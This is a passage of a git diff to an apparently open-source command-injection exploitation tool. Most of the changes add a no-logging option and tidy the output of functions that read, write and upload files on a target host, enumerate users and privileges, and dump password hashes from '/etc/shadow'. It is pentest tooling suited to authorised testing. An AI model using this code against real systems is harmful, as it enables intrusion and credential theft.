print(settings.command_execution_output(output)) + print(settings.SINGLE_WHITESPACE) """ Check the defined options diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 896b82aef8..67f49ecee8 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -45,7 +45,6 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True - new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) shell = output @@ -61,17 +60,17 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, info_msg += "'" + Style.RESET_ALL + " : " sys.stdout.write(settings.print_bold_info_msg(info_msg)) sys.stdout.flush() - print(shell) + sys.stdout.write(shell) output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The contents of file '" + info_msg += file_to_read + "' : " + shell + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) """ Write to a file on the target host. @@ -81,8 +80,8 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() if os.path.isfile(file_to_write): with open(file_to_write, 'r') as content_file: @@ -90,11 +89,11 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, content = "".join(str(p) for p in content).replace("'", "\"") if settings.TARGET_OS == "win": import base64 - content = base64.b64encode(content) + content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() else: warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) + print(settings.SINGLE_WHITESPACE) if os.path.split(menu.options.file_dest)[1] == "" : dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] elif os.path.split(menu.options.file_dest)[0] == "/": @@ -153,14 +152,12 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + "' file was created successfully!\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg = "The '" + shell + info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully." + print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) """ Upload a file on the target host. @@ -182,8 +179,8 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "" : @@ -212,14 +209,12 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + "' file was uploaded successfully!" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() + info_msg = "The '" + shell + info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." + print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to " - warn_msg += "write the '" + dest_to_upload + "' file." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") + warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." + print(settings.print_warning_msg(warn_msg)) """ Check the defined options diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 7335eb83da..fbdda83d12 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -481,8 +481,6 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Export injection result tb_injector.export_injection_results(cmd, separator, output, check_how_long) print(settings.SINGLE_WHITESPACE) - logs.print_logs_notification(filename, url) - raise SystemExit() if not new_line : print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 462cb5f407..b7c83e3d25 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -58,8 +58,9 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The PowerShell's version number is " + ps_version + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The PowerShell's version number is " + ps_version + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify the version of Powershell, " @@ -94,8 +95,9 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The hostname is " + str(shell) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." @@ -166,9 +168,10 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The target operating system is " + str(target_os) + info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." @@ -219,8 +222,9 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method sys.stdout.write(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + cu_account - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The current user is " + cu_account + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() if shell: if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ @@ -229,14 +233,16 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is privileged.\n") output_file.close() else: info_msg = "The current user is " + str(cu_account) @@ -244,8 +250,9 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + cu_account + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The current user is " + cu_account + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." @@ -298,7 +305,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): @@ -326,7 +334,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -369,7 +378,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] @@ -384,7 +394,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): @@ -423,7 +434,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -433,7 +445,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys_users = " ".join(str(p) for p in sys_users.split(":")) print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -493,7 +506,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) output_file.close() count = 0 for line in sys_passes: @@ -505,7 +519,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: @@ -515,7 +530,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") print(fields[0]) output_file = open(filename, "a") - output_file.write(" " + fields[0]) + if not menu.options.no_logging: + output_file.write(" " + fields[0]) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -529,6 +545,10 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me """ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = menu.options.os_cmd + if menu.file_access_options(): + sys.stdout.flush() + info_msg = "Executing '" + cmd + "' command." + print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -547,13 +567,10 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ print(settings.SINGLE_WHITESPACE) print(settings.command_execution_output(shell)) print(settings.SINGLE_WHITESPACE) - logs.print_logs_notification(filename, url) - else: - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) + else: + err_msg = "The '" + cmd + "' command, does not return any output." + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) """ Check the defined options diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index e8b7c86ca9..20e6042e57 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -61,16 +61,15 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u sys.stdout.write(settings.print_bold_info_msg(info_msg)) print(shell) output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The contents of file '" + info_msg += file_to_read + "' : " + shell + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - + print(settings.print_warning_msg(warn_msg)) """ Write to a file on the target host. """ @@ -78,8 +77,8 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() if os.path.isfile(file_to_write): @@ -88,11 +87,11 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, content = "".join(str(p) for p in content).replace("'", "\"") if settings.TARGET_OS == "win": import base64 - content = base64.b64encode(content) + content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() else: warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) + print(settings.SINGLE_WHITESPACE) if os.path.split(menu.options.file_dest)[1] == "" : dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] @@ -148,17 +147,15 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + #if settings.VERBOSITY_LEVEL != 0: + # print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The " + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + " file was created successfully!" + "\n" - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg = "The '" + shell + info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully." + print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) """ Upload a file on the target host. @@ -174,13 +171,13 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) except _urllib.error.HTTPError as err_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() # Check the file-destination @@ -210,14 +207,12 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The " + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" - sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() + info_msg = "The '" + shell + info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." + print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) """ Check the defined options diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 09968cb28c..8d11592ddf 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -346,7 +346,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ # if not menu.enumeration_options(): # print(settings.SINGLE_WHITESPACE) cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - print(settings.SINGLE_WHITESPACE) + # print(settings.SINGLE_WHITESPACE) # Check if defined single cmd. if menu.options.os_cmd: diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 97dfe1dd38..bed06de214 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -63,8 +63,9 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The PowerShell's version number is " + ps_version + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The PowerShell's version number is " + ps_version + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify the version of Powershell, " @@ -94,12 +95,13 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: info_msg = "The hostname is " + str(shell) + "." - sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n") + print(settings.print_bold_info_msg(info_msg) + "\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The hostname is " + str(shell) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." @@ -166,9 +168,10 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The target operating system is " + str(target_os) + info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." @@ -223,8 +226,9 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method sys.stdout.write(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The current user is " + str(cu_account) + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() if shell: if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ @@ -233,14 +237,16 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is privileged.\n") output_file.close() else: info_msg = "The current user is " + str(cu_account) @@ -248,8 +254,9 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The current user is " + str(cu_account) + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." @@ -301,8 +308,9 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() count = 0 for user in range(0, len(sys_users_list)): count = count + 1 @@ -330,7 +338,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -371,7 +380,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] @@ -386,7 +396,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): @@ -425,7 +436,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -435,7 +447,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys_users = " ".join(str(p) for p in sys_users.split(":")) print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -496,7 +509,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) output_file.close() count = 0 for line in sys_passes: @@ -508,7 +522,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: @@ -518,7 +533,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") print(fields[0]) output_file = open(filename, "a") - output_file.write(" " + fields[0]) + if not menu.options.no_logging: + output_file.write(" " + fields[0]) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -532,6 +548,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me """ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = menu.options.os_cmd + info_msg = "Executing '" + cmd + "' command." + print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, 